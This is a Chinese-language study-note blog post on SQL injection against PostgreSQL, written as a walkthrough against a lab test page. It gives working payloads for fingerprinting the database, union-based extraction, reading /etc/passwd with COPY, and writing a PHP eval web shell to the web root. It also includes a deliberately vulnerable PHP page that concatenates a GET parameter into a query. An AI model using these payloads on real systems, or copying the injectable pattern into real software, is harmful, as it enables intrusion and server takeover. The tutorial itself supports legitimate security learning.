学习笔记-PostgreSql注入

什么是PostgreSQL?

PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS)。 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行,如Linux,FreeBSD,OS X,Solaris和Microsoft Windows等。

测试过程

目标

and 1=1

如何判断目标的database是不是postgresql?

可以在常量后面加 ::类型名, 1等于1::int
postgresql还支持||字符串连接符以及chr函数—-chr(1)||chr(1)=chr(1)||chr(1)返回正常

所以:
union注入走一下

order by 判断字段为4

union 查询数据

显示位在第二

试一下读文件
postgresql可以通过;来分割执行自己定义的语句

create table wing(wing text  not null) # 语法和其他数据库一样

读取文件内容并插入表中

copy wing(wing) from '/etc/passwd'

然后通过union查询出来

写shell

copy (select '<?php eval($_REQUEST["w"]);?>') to '/var/www/wing.php'

getshell


测试代码如下:

<?php
error_reporting(E_ALL);

$conn_string = "host=localhost port=5432 dbname=postgres user=postgres password=pgsql123";
$conn = pg_connect($conn_string);
$rs = pg_query($conn, "SELECT * FROM news_list WHERE id = " . $_GET['id']);
if(pg_num_rows($rs) == 0)
{
    echo "No record.";
}
else
{
    while($row = pg_fetch_array($rs))
    {
        echo $row['title'];
    }
}
pg_close($conn);

sqlmap验证:


   转载规则


《学习笔记-PostgreSql注入》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
渗透测试-从一个打印机到拿下主域控制器 渗透测试-从一个打印机到拿下主域控制器
渗透测试-从一个打印机到拿下主域控制器 ps:关于域内信任这块基础可以参考倾旋的一篇wiki,内容很足很丰富。https://payloads.online/archivers/2018-11-30/1 彻底理解Windows认证 - 议
2019-02-05
下一篇 
Thinkphp5.1-2 RCE简单分析 Thinkphp5.1-2 RCE简单分析
前言上次出的洞是接近元旦吧,好像刚从南京回学校,要准备烦人的期末,没心思分析,前天我刚考完,今天刚爆的洞洞貌似。然后自己跟着调试了一下。 漏洞细节这是复现图前提是要在index.php中禁止报错,其实在生产环境中,开发也会这么做。 漏洞
2019-01-15
  目录